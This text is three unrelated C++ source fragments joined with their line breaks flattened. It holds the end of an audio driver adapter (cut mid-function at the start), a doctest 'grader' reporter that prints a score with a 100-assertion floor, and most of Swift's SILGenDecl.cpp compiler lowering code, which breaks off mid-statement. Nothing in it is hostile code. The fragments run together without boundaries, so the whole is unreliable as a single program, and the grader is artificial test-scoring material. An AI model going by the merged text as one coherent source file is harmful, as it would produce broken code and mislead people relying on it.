internals->didRenderCallback(internals->clientdata); return success; } void NFDriverAdapter::setSamplerate(int samplerate) { internals->nextSamplerate = samplerate; MEMORYBARRIER; } int NFDriverAdapter::getOptimalNumberOfFrames(int samplerate) { if (samplerate == NF_DRIVER_SAMPLERATE) return NF_DRIVER_SAMPLE_BLOCK_SIZE; float rate = static_cast<float>(samplerate) / static_cast<float>(NF_DRIVER_SAMPLERATE); return int(NF_DRIVER_SAMPLE_BLOCK_SIZE * rate); } } // namespace driver } // namespace nativeformat
#define DOCTEST_CONFIG_IMPLEMENT #include "doctest.h" using namespace doctest; const int MIN_TESTS = 100; struct ReporterGrader: public ConsoleReporter { ReporterGrader(const ContextOptions& input_options) : ConsoleReporter(input_options) {} void test_run_end(const TestRunStats& run_stats) override { ConsoleReporter::test_run_end(run_stats); int numAsserts = run_stats.numAsserts >= MIN_TESTS? run_stats.numAsserts: MIN_TESTS; float grade = (run_stats.numAsserts - run_stats.numAssertsFailed) * 100 / numAsserts; std::cout << "Grade: " << grade << std::endl; } }; REGISTER_REPORTER("grader", /*priority=*/1, ReporterGrader); int main(int argc, char** argv) { Context context; context.addFilter("reporters", "grader"); context.run(); }
//===--- SILGenDecl.cpp - Implements Lowering of ASTs -> SIL for Decls ----===// // // This source file is part of the Swift.org open source project // // Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors // Licensed under Apache License v2.0 with Runtime Library Exception // // See https://swift.org/LICENSE.txt for license information // See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors // //===----------------------------------------------------------------------===// #include "Initialization.h" #include "RValue.h" #include "SILGen.h" #include "SILGenDynamicCast.h" #include "Scope.h" #include "SwitchCaseFullExpr.h" #include "swift/AST/ASTMangler.h" #include "swift/AST/GenericEnvironment.h" #include "swift/AST/Module.h" #include "swift/AST/NameLookup.h" #include "swift/AST/ProtocolConformance.h" #include "swift/Basic/ProfileCounter.h" #include "swift/SIL/FormalLinkage.h" #include "swift/SIL/PrettyStackTrace.h" #include "swift/SIL/SILArgument.h" #include "swift/SIL/SILDebuggerClient.h" #include "swift/SIL/SILType.h" #include "swift/SIL/TypeLowering.h" #include "llvm/ADT/SmallString.h" #include <iterator> using namespace swift; using namespace Lowering; void Initialization::_anchor() {} void SILDebuggerClient::anchor() {} namespace { /// A "null" initialization that indicates that any value being initialized /// into this initialization should be discarded. This represents AnyPatterns /// (that is, 'var (_)') that bind to values without storing them. class BlackHoleInitialization : public Initialization { public: BlackHoleInitialization() {} bool canSplitIntoTupleElements() const override { return true; } MutableArrayRef<InitializationPtr> splitIntoTupleElements(SILGenFunction &SGF, SILLocation loc, CanType type, SmallVectorImpl<InitializationPtr> &buf) override { // "Destructure" an ignored binding into multiple ignored bindings. for (auto fieldType : cast<TupleType>(type)->getElementTypes()) { (void) fieldType; buf.push_back(InitializationPtr(new BlackHoleInitialization())); } return buf; } void copyOrInitValueInto(SILGenFunction &SGF, SILLocation loc, ManagedValue value, bool isInit) override { /// This just ignores the provided value. } void finishUninitialized(SILGenFunction &SGF) override { // do nothing } }; } // end anonymous namespace static void copyOrInitValueIntoHelper( SILGenFunction &SGF, SILLocation loc, ManagedValue value, bool isInit, ArrayRef<InitializationPtr> subInitializations, llvm::function_ref<ManagedValue(ManagedValue, unsigned, SILType)> func) { auto sourceType = value.getType().castTo<TupleType>(); auto sourceSILType = value.getType(); for (unsigned i = 0, e = sourceType->getNumElements(); i != e; ++i) { SILType fieldTy = sourceSILType.getTupleElementType(i); ManagedValue elt = func(value, i, fieldTy); subInitializations[i]->copyOrInitValueInto(SGF, loc, elt, isInit); subInitializations[i]->finishInitialization(SGF); } } void TupleInitialization::copyOrInitValueInto(SILGenFunction &SGF, SILLocation loc, ManagedValue value, bool isInit) { // In the object case, we perform a borrow + extract + copy sequence. This is // because we do not have a destructure operation. if (value.getType().isObject()) { value = value.borrow(SGF, loc); return copyOrInitValueIntoHelper( SGF, loc, value, isInit, SubInitializations, [&](ManagedValue aggregate, unsigned i, SILType fieldType) -> ManagedValue { auto elt = SGF.B.createTupleExtract(loc, aggregate, i, fieldType); return SGF.B.createCopyValue(loc, elt); }); } // In the address case, we can support takes directly, so forward the cleanup // of the aggregate and create takes of the underlying addresses. value = ManagedValue::forUnmanaged(value.forward(SGF)); return copyOrInitValueIntoHelper( SGF, loc, value, isInit, SubInitializations, [&](ManagedValue aggregate, unsigned i, SILType fieldType) -> ManagedValue { ManagedValue elt = SGF.B.createTupleElementAddr(loc, value, i, fieldType); if (!fieldType.isAddressOnly(SGF.F.getModule())) { return SGF.B.createLoadTake(loc, elt); } return SGF.emitManagedRValueWithCleanup(elt.getValue()); }); } void TupleInitialization::finishUninitialized(SILGenFunction &SGF) { for (auto &subInit : SubInitializations) { subInit->finishUninitialized(SGF); } } namespace { class CleanupClosureConstant : public Cleanup { SILValue closure; public: CleanupClosureConstant(SILValue closure) : closure(closure) {} void emit(SILGenFunction &SGF, CleanupLocation l) override { SGF.B.emitDestroyValueOperation(l, closure); } void dump(SILGenFunction &) const override { #ifndef NDEBUG llvm::errs() << "CleanupClosureConstant\n" << "State:" << getState() << "\n" << "closure:" << closure << "\n"; #endif } }; } // end anonymous namespace SubstitutionList SILGenFunction::getForwardingSubstitutions() { return F.getForwardingSubstitutions(); } void SILGenFunction::visitFuncDecl(FuncDecl *fd) { // Generate the local function body. SGM.emitFunction(fd); } MutableArrayRef<InitializationPtr> SingleBufferInitialization:: splitIntoTupleElements(SILGenFunction &SGF, SILLocation loc, CanType type, SmallVectorImpl<InitializationPtr> &buf) { assert(SplitCleanups.empty() && "getting sub-initializations twice?"); auto address = getAddressForInPlaceInitialization(SGF, loc); return splitSingleBufferIntoTupleElements(SGF, loc, type, address, buf, SplitCleanups); } MutableArrayRef<InitializationPtr> SingleBufferInitialization:: splitSingleBufferIntoTupleElements(SILGenFunction &SGF, SILLocation loc, CanType type, SILValue baseAddr, SmallVectorImpl<InitializationPtr> &buf, TinyPtrVector<CleanupHandle::AsPointer> &splitCleanups) { // Destructure the buffer into per-element buffers. for (auto i : indices(cast<TupleType>(type)->getElementTypes())) { // Project the element. SILValue eltAddr = SGF.B.createTupleElementAddr(loc, baseAddr, i); // Create an initialization to initialize the element. auto &eltTL = SGF.getTypeLowering(eltAddr->getType()); auto eltInit = SGF.useBufferAsTemporary(eltAddr, eltTL); // Remember the element cleanup. auto eltCleanup = eltInit->getInitializedCleanup(); if (eltCleanup.isValid()) splitCleanups.push_back(eltCleanup); buf.emplace_back(eltInit.release()); } return buf; } void SingleBufferInitialization:: copyOrInitValueIntoSingleBuffer(SILGenFunction &SGF, SILLocation loc, ManagedValue value, bool isInit, SILValue destAddr) { if (!isInit) { assert(value.getValue() != destAddr && "copying in place?!"); value.copyInto(SGF, destAddr, loc); return; } // If we didn't evaluate into the initialization buffer, do so now. if (value.getValue() != destAddr) { value.forwardInto(SGF, loc, destAddr); } else { // If we did evaluate into the initialization buffer, disable the // cleanup. value.forwardCleanup(SGF); } } void SingleBufferInitialization::finishInitialization(SILGenFunction &SGF) { // Forward all of the split element cleanups, assuming we made any. for (CleanupHandle eltCleanup : SplitCleanups) SGF.Cleanups.forwardCleanup(eltCleanup); } bool KnownAddressInitialization::isInPlaceInitializationOfGlobal() const { return isa<GlobalAddrInst>(address); } bool TemporaryInitialization::isInPlaceInitializationOfGlobal() const { return isa<GlobalAddrInst>(Addr); } void TemporaryInitialization::finishInitialization(SILGenFunction &SGF) { SingleBufferInitialization::finishInitialization(SGF); if (Cleanup.isValid()) SGF.Cleanups.setCleanupState(Cleanup, CleanupState::Active); } namespace { class EndBorrowCleanup : public Cleanup { SILValue original; SILValue borrowed; public: EndBorrowCleanup(SILValue original, SILValue borrowed) : original(original), borrowed(borrowed) {} void emit(SILGenFunction &SGF, CleanupLocation l) override { SGF.B.createEndBorrow(l, borrowed, original); } void dump(SILGenFunction &) const override { #ifndef NDEBUG llvm::errs() << "EndBorrowCleanup " << "State:" << getState() << "\n" << "original:" << original << "\n" << "borrowed:" << borrowed << "\n"; #endif } }; } // end anonymous namespace namespace { class ReleaseValueCleanup : public Cleanup { SILValue v; public: ReleaseValueCleanup(SILValue v) : v(v) {} void emit(SILGenFunction &SGF, CleanupLocation l) override { if (v->getType().isAddress()) SGF.B.createDestroyAddr(l, v); else SGF.B.emitDestroyValueOperation(l, v); } void dump(SILGenFunction &) const override { #ifndef NDEBUG llvm::errs() << "ReleaseValueCleanup\n" << "State:" << getState() << "\n" << "Value:" << v << "\n"; #endif } }; } // end anonymous namespace namespace { /// Cleanup to destroy an initialized variable. class DeallocStackCleanup : public Cleanup { SILValue Addr; public: DeallocStackCleanup(SILValue addr) : Addr(addr) {} void emit(SILGenFunction &SGF, CleanupLocation l) override { SGF.B.createDeallocStack(l, Addr); } void dump(SILGenFunction &) const override { #ifndef NDEBUG llvm::errs() << "DeallocStackCleanup\n" << "State:" << getState() << "\n" << "Addr:" << Addr << "\n"; #endif } }; } // end anonymous namespace namespace { /// Cleanup to destroy an initialized 'var' variable. class DestroyLocalVariable : public Cleanup { VarDecl *Var; public: DestroyLocalVariable(VarDecl *var) : Var(var) {} void emit(SILGenFunction &SGF, CleanupLocation l) override { SGF.destroyLocalVariable(l, Var); } void dump(SILGenFunction &SGF) const override { #ifndef NDEBUG llvm::errs() << "DestroyLocalVariable\n" << "State:" << getState() << "\n" << "Decl: "; Var->print(llvm::errs()); llvm::errs() << "\n"; if (isActive()) { auto loc = SGF.VarLocs[Var]; assert((loc.box || loc.value) && "One of box or value should be set"); if (loc.box) { llvm::errs() << "Box: " << loc.box << "\n"; } else { llvm::errs() << "Value: " << loc.value << "\n"; } } llvm::errs() << "\n"; #endif } }; } // end anonymous namespace namespace { /// Cleanup to destroy an uninitialized local variable. class DeallocateUninitializedLocalVariable : public Cleanup { VarDecl *Var; public: DeallocateUninitializedLocalVariable(VarDecl *var) : Var(var) {} void emit(SILGenFunction &SGF, CleanupLocation l) override { SGF.deallocateUninitializedLocalVariable(l, Var); } void dump(SILGenFunction &) const override { #ifndef NDEBUG llvm::errs() << "DeallocateUninitializedLocalVariable\n" << "State:" << getState() << "\n"; // TODO: Make sure we dump var. llvm::errs() << "\n"; #endif } }; } // end anonymous namespace namespace { /// An initialization of a local 'var'. class LocalVariableInitialization : public SingleBufferInitialization { /// The local variable decl being initialized. VarDecl *decl; SILGenFunction &SGF; /// The cleanup we pushed to deallocate the local variable before it /// gets initialized. CleanupHandle DeallocCleanup; /// The cleanup we pushed to destroy and deallocate the local variable. CleanupHandle ReleaseCleanup; bool DidFinish = false; public: /// Sets up an initialization for the allocated box. This pushes a /// CleanupUninitializedBox cleanup that will be replaced when /// initialization is completed. LocalVariableInitialization(VarDecl *decl, Optional<MarkUninitializedInst::Kind> kind, unsigned ArgNo, SILGenFunction &SGF) : decl(decl), SGF(SGF) { assert(decl->getDeclContext()->isLocalContext() && "can't emit a local var for a non-local var decl"); assert(decl->hasStorage() && "can't emit storage for a computed variable"); assert(!SGF.VarLocs.count(decl) && "Already have an entry for this decl?"); auto boxType = SGF.SGM.Types .getContextBoxTypeForCapture(decl, SGF.getLoweredType(decl->getType()).getSwiftRValueType(), SGF.F.getGenericEnvironment(), /*mutable*/ true); // The variable may have its lifetime extended by a closure, heap-allocate // it using a box. SILValue allocBox = SGF.B.createAllocBox(decl, boxType, {decl->isLet(), ArgNo}); // Mark the memory as uninitialized, so DI will track it for us. if (kind) allocBox = SGF.B.createMarkUninitialized(decl, allocBox, kind.getValue()); SILValue addr = SGF.B.createProjectBox(decl, allocBox, 0); /// Remember that this is the memory location that we're emitting the /// decl to. SGF.VarLocs[decl] = SILGenFunction::VarLoc::get(addr, allocBox); // Push a cleanup to destroy the local variable. This has to be // inactive until the variable is initialized. SGF.Cleanups.pushCleanupInState<DestroyLocalVariable>(CleanupState::Dormant, decl); ReleaseCleanup = SGF.Cleanups.getTopCleanup(); // Push a cleanup to deallocate the local variable. SGF.Cleanups.pushCleanup<DeallocateUninitializedLocalVariable>(decl); DeallocCleanup = SGF.Cleanups.getTopCleanup(); } ~LocalVariableInitialization() override { assert(DidFinish && "did not call VarInit::finishInitialization!"); } SILValue getAddress() const { assert(SGF.VarLocs.count(decl) && "did not emit var?!"); return SGF.VarLocs[decl].value; } SILValue getAddressForInPlaceInitialization(SILGenFunction &SGF, SILLocation loc) override { return getAddress(); } bool isInPlaceInitializationOfGlobal() const override { return isa<GlobalAddrInst>(getAddress()); } void finishUninitialized(SILGenFunction &SGF) override { LocalVariableInitialization::finishInitialization(SGF); } void finishInitialization(SILGenFunction &SGF) override { SingleBufferInitialization::finishInitialization(SGF); assert(!DidFinish && "called LocalVariableInitialization::finishInitialization twice!"); SGF.Cleanups.setCleanupState(DeallocCleanup, CleanupState::Dead); SGF.Cleanups.setCleanupState(ReleaseCleanup, CleanupState::Active); DidFinish = true; } }; } // end anonymous namespace namespace { /// Initialize a writeback buffer that receives the value of a 'let' /// declaration. class LetValueInitialization : public Initialization { /// The VarDecl for the let decl. VarDecl *vd; /// The address of the buffer used for the binding, if this is an address-only /// let. SILValue address; /// The cleanup we pushed to destroy the local variable. CleanupHandle DestroyCleanup; /// Cleanups we introduced when splitting. TinyPtrVector<CleanupHandle::AsPointer> SplitCleanups; bool DidFinish = false; public: LetValueInitialization(VarDecl *vd, SILGenFunction &SGF) : vd(vd) { auto &lowering = SGF.getTypeLowering(vd->getType()); // Decide whether we need a temporary stack buffer to evaluate this 'let'. // There are three cases we need to handle here: parameters, initialized (or // bound) decls, and uninitialized ones. bool needsTemporaryBuffer; bool isUninitialized = false; assert(!isa<ParamDecl>(vd) && "should not bind function params on this path"); if (vd->getParentPatternBinding() && !vd->getParentInitializer()) { // This value is uninitialized (and unbound) if it has a pattern binding // decl, with no initializer value. assert(!vd->hasNonPatternBindingInit() && "Bound values aren't uninit!"); // If this is a let-value without an initializer, then we need a temporary // buffer. DI will make sure it is only assigned to once. needsTemporaryBuffer = true; isUninitialized = true; } else { // If this is a let with an initializer or bound value, we only need a // buffer if the type is address only. needsTemporaryBuffer = lowering.isAddressOnly() && SGF.silConv.useLoweredAddresses(); } if (needsTemporaryBuffer) { address = SGF.emitTemporaryAllocation(vd, lowering.getLoweredType()); if (isUninitialized) address = SGF.B.createMarkUninitializedVar(vd, address); DestroyCleanup = SGF.enterDormantTemporaryCleanup(address, lowering); SGF.VarLocs[vd] = SILGenFunction::VarLoc::get(address); } else if (!lowering.isTrivial()) { // Push a cleanup to destroy the let declaration. This has to be // inactive until the variable is initialized: if control flow exits the // before the value is bound, we don't want to destroy the value. SGF.Cleanups.pushCleanupInState<DestroyLocalVariable>( CleanupState::Dormant, vd); DestroyCleanup = SGF.Cleanups.getTopCleanup(); } else { DestroyCleanup = CleanupHandle::invalid(); } } ~LetValueInitialization() override { assert(DidFinish && "did not call LetValueInit::finishInitialization!"); } bool hasAddress() const { return (bool)address; } bool canPerformInPlaceInitialization() const override { return hasAddress(); } bool isInPlaceInitializationOfGlobal() const override { return isa<GlobalAddrInst>(address); } SILValue getAddressForInPlaceInitialization(SILGenFunction &SGF, SILLocation loc) override { // Emit into the buffer that 'let's produce for address-only values if // we have it. assert(hasAddress()); return address; } /// Return true if we can get the addresses of elements with the /// 'getSubInitializationsForTuple' method. /// /// Let-value initializations cannot be broken into constituent pieces if a /// scalar value needs to be bound. If there is an address in play, then we /// can initialize the address elements of the tuple though. bool canSplitIntoTupleElements() const override { return hasAddress(); } MutableArrayRef<InitializationPtr> splitIntoTupleElements(SILGenFunction &SGF, SILLocation loc, CanType type, SmallVectorImpl<InitializationPtr> &buf) override { assert(SplitCleanups.empty()); auto address = getAddressForInPlaceInitialization(SGF, loc); return SingleBufferInitialization ::splitSingleBufferIntoTupleElements(SGF, loc, type, address, buf, SplitCleanups); } void bindValue(SILValue value, SILGenFunction &SGF) { assert(!SGF.VarLocs.count(vd) && "Already emitted this vardecl?"); // If we're binding an address to this let value, then we can use it as an // address later. This happens when binding an address only parameter to // an argument, for example. if (value->getType().isAddress()) address = value; SGF.VarLocs[vd] = SILGenFunction::VarLoc::get(value); // Emit a debug_value[_addr] instruction to record the start of this value's // lifetime. SILLocation PrologueLoc(vd); PrologueLoc.markAsPrologue(); if (address) SGF.B.createDebugValueAddr(PrologueLoc, value); else SGF.B.createDebugValue(PrologueLoc, value); } void copyOrInitValueInto(SILGenFunction &SGF, SILLocation loc, ManagedValue value, bool isInit) override { // If this let value has an address, we can handle it just like a single // buffer value. if (hasAddress()) return SingleBufferInitialization:: copyOrInitValueIntoSingleBuffer(SGF, loc, value, isInit, address); // Otherwise, we bind the value. if (isInit) { // Disable the rvalue expression cleanup, since the let value // initialization has a cleanup that lives for the entire scope of the // let declaration. bindValue(value.forward(SGF), SGF); } else { // Disable the expression cleanup of the copy, since the let value // initialization has a cleanup that lives for the entire scope of the // let declaration. bindValue(value.copyUnmanaged(SGF, loc).forward(SGF), SGF); } } void finishUninitialized(SILGenFunction &SGF) override { LetValueInitialization::finishInitialization(SGF); } void finishInitialization(SILGenFunction &SGF) override { assert(!DidFinish && "called LetValueInit::finishInitialization twice!"); assert(SGF.VarLocs.count(vd) && "Didn't bind a value to this let!"); // Deactivate any cleanups we made when splitting the tuple. for (auto cleanup : SplitCleanups) SGF.Cleanups.forwardCleanup(cleanup); // Activate the destroy cleanup. if (DestroyCleanup != CleanupHandle::invalid()) SGF.Cleanups.setCleanupState(DestroyCleanup, CleanupState::Active); DidFinish = true; } }; } // end anonymous namespace namespace { /// Initialize a variable of reference-storage type. class ReferenceStorageInitialization : public Initialization { InitializationPtr VarInit; public: ReferenceStorageInitialization(InitializationPtr &&subInit) : VarInit(std::move(subInit)) { assert(VarInit->canPerformInPlaceInitialization()); } void copyOrInitValueInto(SILGenFunction &SGF, SILLocation loc, ManagedValue value, bool isInit) override { auto address = VarInit->getAddressForInPlaceInitialization(SGF, loc); // If this is not an initialization, copy the value before we translateIt, // translation expects a +1 value. if (isInit) value.forwardInto(SGF, loc, address); else value.copyInto(SGF, address, loc); } void finishUninitialized(SILGenFunction &SGF) override { ReferenceStorageInitialization::finishInitialization(SGF); } void finishInitialization(SILGenFunction &SGF) override { VarInit->finishInitialization(SGF); } }; } // end anonymous namespace namespace { /// Abstract base class for refutable pattern initializations. class RefutablePatternInitialization : public Initialization { /// This is the label to jump to if the pattern fails to match. JumpDest failureDest; public: RefutablePatternInitialization(JumpDest failureDest) : failureDest(failureDest) { assert(failureDest.isValid() && "Refutable patterns can only exist in failable conditions"); } JumpDest getFailureDest() const { return failureDest; } void copyOrInitValueInto(SILGenFunction &SGF, SILLocation loc, ManagedValue value, bool isInit) override = 0; void bindVariable(SILLocation loc, VarDecl *var, ManagedValue value, CanType formalValueType, SILGenFunction &SGF) { // Initialize the variable value. InitializationPtr init = SGF.emitInitializationForVarDecl(var, var->isLet()); RValue(SGF, loc, formalValueType, value).forwardInto(SGF, loc, init.get()); } }; } // end anonymous namespace namespace { class ExprPatternInitialization : public RefutablePatternInitialization { ExprPattern *P; public: ExprPatternInitialization(ExprPattern *P, JumpDest patternFailDest) : RefutablePatternInitialization(patternFailDest), P(P) {} void copyOrInitValueInto(SILGenFunction &SGF, SILLocation loc, ManagedValue value, bool isInit) override; }; } // end anonymous namespace void ExprPatternInitialization:: copyOrInitValueInto(SILGenFunction &SGF, SILLocation loc, ManagedValue value, bool isInit) { assert(isInit && "Only initialization is supported for refutable patterns"); FullExpr scope(SGF.Cleanups, CleanupLocation(P)); bindVariable(P, P->getMatchVar(), value, P->getType()->getCanonicalType(), SGF); // Emit the match test. SILValue testBool; { FullExpr scope(SGF.Cleanups, CleanupLocation(P->getMatchExpr())); testBool = SGF.emitRValueAsSingleValue(P->getMatchExpr()). getUnmanagedValue(); } SILBasicBlock *contBB = SGF.B.splitBlockForFallthrough(); auto falseBB = SGF.Cleanups.emitBlockForCleanups(getFailureDest(), loc); SGF.B.createCondBranch(loc, testBool, contBB, falseBB); SGF.B.setInsertionPoint(contBB); } namespace { class EnumElementPatternInitialization : public RefutablePatternInitialization { EnumElementDecl *ElementDecl; InitializationPtr subInitialization; public: EnumElementPatternInitialization(EnumElementDecl *ElementDecl, InitializationPtr &&subInitialization, JumpDest patternFailDest) : RefutablePatternInitialization(patternFailDest), ElementDecl(ElementDecl), subInitialization(std::move(subInitialization)) {} void copyOrInitValueInto(SILGenFunction &SGF, SILLocation loc, ManagedValue value, bool isInit) override { assert(isInit && "Only initialization is supported for refutable patterns"); emitEnumMatch(value, ElementDecl, subInitialization.get(), getFailureDest(), loc, SGF); } static void emitEnumMatch(ManagedValue value, EnumElementDecl *ElementDecl, Initialization *subInit, JumpDest FailureDest, SILLocation loc, SILGenFunction &SGF); void finishInitialization(SILGenFunction &SGF) override { if (subInitialization.get()) subInitialization->finishInitialization(SGF); } }; } // end anonymous namespace void EnumElementPatternInitialization::emitEnumMatch( ManagedValue value, EnumElementDecl *eltDecl, Initialization *subInit, JumpDest failureDest, SILLocation loc, SILGenFunction &SGF) { // Create all of the blocks early so we can maintain a consistent ordering // (and update less tests). Break this at your fingers parallel. // // *NOTE* This needs to be in reverse order to preserve the textual SIL. auto *contBlock = SGF.createBasicBlock(); auto *someBlock = SGF.createBasicBlock(); auto *defaultBlock = SGF.createBasicBlock(); auto *originalBlock = SGF.B.getInsertionBB(); SwitchEnumBuilder switchBuilder(SGF.B, loc, value); // Handle the none case. // // *NOTE*: Since we are performing an initialization here, it is *VERY* // important that we emit the negative case first. The reason why is that // currently the initialization has a dormant cleanup in a scope that may be // after the failureDest depth. Once we run the positive case, this // initialization will be enabled. Thus if we run the negative case /after/ // the positive case, a cleanup will be emitted for the initialization on the // negative path... but the actual initialization happened on the positive // path, causing a use (the destroy on the negative path) to be created that // does not dominate its definition (in the positive path). auto handler = [&SGF, &loc, &failureDest](ManagedValue mv, SwitchCaseFullExpr &expr) { expr.exit(); SGF.Cleanups.emitBranchAndCleanups(failureDest, loc); }; // If we have a binary enum, do not emit a true default case. This ensures // that we do not emit a destroy_value on a .None. bool inferredBinaryEnum = false; auto *enumDecl = value.getType().getEnumOrBoundGenericEnum(); if (auto *otherDecl = enumDecl->getOppositeBinaryDecl(eltDecl)) { inferredBinaryEnum = true; switchBuilder.addCase(otherDecl, defaultBlock, nullptr, handler); } else { switchBuilder.addDefaultCase( defaultBlock, nullptr, handler, SwitchEnumBuilder::DefaultDispatchTime::BeforeNormalCases); } // Always insert the some case at the front of the list. In the default case, // this will not matter, but in the case where we have a binary enum, we want // to preserve the old ordering of .some/.none. to make it easier to update // tests. switchBuilder.addCase( eltDecl, someBlock, contBlock, [&SGF, &loc, &eltDecl, &subInit, &value](ManagedValue mv, SwitchCaseFullExpr &expr) { // If the enum case has no bound value, we're done. if (!eltDecl->hasAssociatedValues()) { assert( subInit == nullptr && "Cannot have a subinit when there is no value to match against"); expr.exitAndBranch(loc); return; } if (subInit == nullptr) { // If there is no subinitialization, then we are done matching. Don't // bother projecting out the any elements value only to ignore it. expr.exitAndBranch(loc); return; } // Otherwise, the bound value for the enum case is available. SILType eltTy = value.getType().getEnumElementType(eltDecl, SGF.SGM.M); auto &eltTL = SGF.getTypeLowering(eltTy); if (mv.getType().isAddress()) { // If the enum is address-only, take from the enum we have and load it // if // the element value is loadable. assert((eltTL.isTrivial() || mv.hasCleanup()) && "must be able to consume value"); mv = SGF.B.createUncheckedTakeEnumDataAddr(loc, mv, eltDecl, eltTy); // Load a loadable data value. if (eltTL.isLoadable()) mv = SGF.B.createLoadTake(loc, mv); } // If the payload is indirect, project it out of the box. if (eltDecl->isIndirect() || eltDecl->getParentEnum()->isIndirect()) { SILValue boxedValue = SGF.B.createProjectBox(loc, mv.getValue(), 0); auto &boxedTL = SGF.getTypeLowering(boxedValue->getType()); // SEMANTIC ARC TODO: Revisit this when the verifier is enabled. if (boxedTL.isLoadable() || !SGF.silConv.useLoweredAddresses()) boxedValue = boxedTL.emitLoad(SGF.B, loc, boxedValue, LoadOwnershipQualifier::Take); // We must treat the boxed value as +0 since it may be shared. Copy it // if nontrivial. // // TODO: Should be able to hand it off at +0 in some cases. mv = ManagedValue::forUnmanaged(boxedValue); mv = mv.copyUnmanaged(SGF, loc); } // Reabstract to the substituted type, if needed. CanType substEltTy = value.getType() .getSwiftRValueType() ->getTypeOfMember(SGF.SGM.M.getSwiftModule(), eltDecl, eltDecl->getArgumentInterfaceType()) ->getCanonicalType(); AbstractionPattern origEltTy = (eltDecl == SGF.getASTContext().getOptionalSomeDecl() ? AbstractionPattern(substEltTy) : SGF.SGM.M.Types.getAbstractionPattern(eltDecl)); mv = SGF.emitOrigToSubstValue(loc, mv, origEltTy, substEltTy); // Pass the +1 value down into the sub initialization. subInit->copyOrInitValueInto(SGF, loc, mv, /*is an init*/ true); expr.exitAndBranch(loc); }); std::move(switchBuilder).emit(); // If we inferred a binary enum, put the asked for case first so we preserve // the current code structure. This just ensures that less test updates are // needed. if (inferredBinaryEnum) { if (auto *switchEnum = dyn_cast<SwitchEnumInst>(originalBlock->getTerminator())) { switchEnum->swapCase(0, 1); } else { auto *switchEnumAddr = cast<SwitchEnumAddrInst>(originalBlock->getTerminator()); switchEnumAddr->swapCase(0, 1); } } // Reset the insertion point to the end of contBlock. SGF.B.setInsertionPoint(contBlock); } namespace { class IsPatternInitialization : public RefutablePatternInitialization { IsPattern *pattern; InitializationPtr subInitialization; public: IsPatternInitialization(IsPattern *pattern, InitializationPtr &&subInitialization, JumpDest patternFailDest) : RefutablePatternInitialization(patternFailDest), pattern(pattern), subInitialization(std::move(subInitialization)) {} void copyOrInitValueInto(SILGenFunction &SGF, SILLocation loc, ManagedValue value, bool isInit) override; void finishInitialization(SILGenFunction &SGF) override { if (subInitialization.get()) subInitialization->finishInitialization(SGF); } }; } // end anonymous namespace void IsPatternInitialization:: copyOrInitValueInto(SILGenFunction &SGF, SILLocation loc, ManagedValue value, bool isInit) { assert(isInit && "Only initialization is supported for refutable patterns"); // Try to perform the cast to the destination type, producing an optional that // indicates whether we succeeded. auto destType = OptionalType::get(pattern->getCastTypeLoc().getType()); value = emitConditionalCheckedCast(SGF, loc, value, pattern->getType(), destType, pattern->getCastKind(), SGFContext(), ProfileCounter(), ProfileCounter()) .getAsSingleValue(SGF, loc); // Now that we have our result as an optional, we can use an enum projection // to do all the work. EnumElementPatternInitialization:: emitEnumMatch(value, SGF.getASTContext().getOptionalSomeDecl(), subInitialization.get(), getFailureDest(), loc, SGF); } namespace { class BoolPatternInitialization : public RefutablePatternInitialization { BoolPattern *pattern; public: BoolPatternInitialization(BoolPattern *pattern, JumpDest patternFailDest) : RefutablePatternInitialization(patternFailDest), pattern(pattern) {} void copyOrInitValueInto(SILGenFunction &SGF, SILLocation loc, ManagedValue value, bool isInit) override; }; } // end anonymous namespace void BoolPatternInitialization:: copyOrInitValueInto(SILGenFunction &SGF, SILLocation loc, ManagedValue value, bool isInit) { assert(isInit && "Only initialization is supported for refutable patterns"); // Extract the i1 from the Bool struct. StructDecl *BoolStruct = cast<StructDecl>(SGF.getASTContext().getBoolDecl()); auto Members = BoolStruct->lookupDirect(SGF.getASTContext().Id_value_); assert(Members.size() == 1 && "Bool should have only one property with name '_value'"); auto Member = dyn_cast<VarDecl>(Members[0]); assert(Member &&"Bool should have a property with name '_value' of type Int1"); auto *i1Val = SGF.B.createStructExtract(loc, value.forward(SGF), Member); // Branch on the boolean based on whether we're testing for true or false. SILBasicBlock *trueBB = SGF.B.splitBlockForFallthrough(); auto contBB = trueBB; auto falseBB = SGF.Cleanups.emitBlockForCleanups(getFailureDest(), loc); if (!pattern->getValue()) std::swap(trueBB, falseBB); SGF.B.createCondBranch(loc, i1Val, trueBB, falseBB); SGF.B.setInsertionPoint(contBB); } namespace { /// InitializationForPattern - A visitor for traversing a pattern, generating /// SIL code to allocate the declared variables, and generating an /// Initialization representing the needed initializations. /// /// It is important that any Initialization created for a pattern that might /// not have an immediate initializer implement finishUninitialized. Note /// that this only applies to irrefutable patterns. struct InitializationForPattern : public PatternVisitor<InitializationForPattern, InitializationPtr> { SILGenFunction &SGF; /// This is the place that should be jumped to if the pattern fails to match. /// This is invalid for irrefutable pattern initializations. JumpDest patternFailDest; InitializationForPattern(SILGenFunction &SGF, JumpDest patternFailDest) : SGF(SGF), patternFailDest(patternFailDest) {} // Paren, Typed, and Var patterns are noops, just look through them. InitializationPtr visitParenPattern(ParenPattern *P) { return visit(P->getSubPattern()); } InitializationPtr visitTypedPattern(TypedPattern *P) { return visit(P->getSubPattern()); } InitializationPtr visitVarPattern(VarPattern *P) { return visit(P->getSubPattern()); } // AnyPatterns (i.e, _) don't require any storage. Any value bound here will // just be dropped. InitializationPtr visitAnyPattern(AnyPattern *P) { return InitializationPtr(new BlackHoleInitialization()); } // Bind to a named pattern by creating a memory location and initializing it // with the initial value. InitializationPtr visitNamedPattern(NamedPattern *P) { if (!P->getDecl()->hasName()) { // Unnamed parameters don't require any storage. Any value bound here will // just be dropped. return InitializationPtr(new BlackHoleInitialization()); } return SGF.emitInitializationForVarDecl(P->getDecl(), P->getDecl()->isLet()); } // Bind a tuple pattern by aggregating the component variables into a // TupleInitialization. InitializationPtr visitTuplePattern(TuplePattern *P) { TupleInitialization *init = new TupleInitialization(); for (auto &elt : P->getElements()) init->SubInitializations.push_back(visit(elt.getPattern())); return InitializationPtr(init); } InitializationPtr visitEnumElementPattern(EnumElementPattern *P) { InitializationPtr subInit; if (auto *subP = P->getSubPattern()) subInit = visit(subP); auto *res = new EnumElementPatternInitialization(P->getElementDecl(), std::move(subInit), patternFailDest); return InitializationPtr(res); } InitializationPtr visitOptionalSomePattern(OptionalSomePattern *P) { InitializationPtr subInit = visit(P->getSubPattern()); auto *res = new 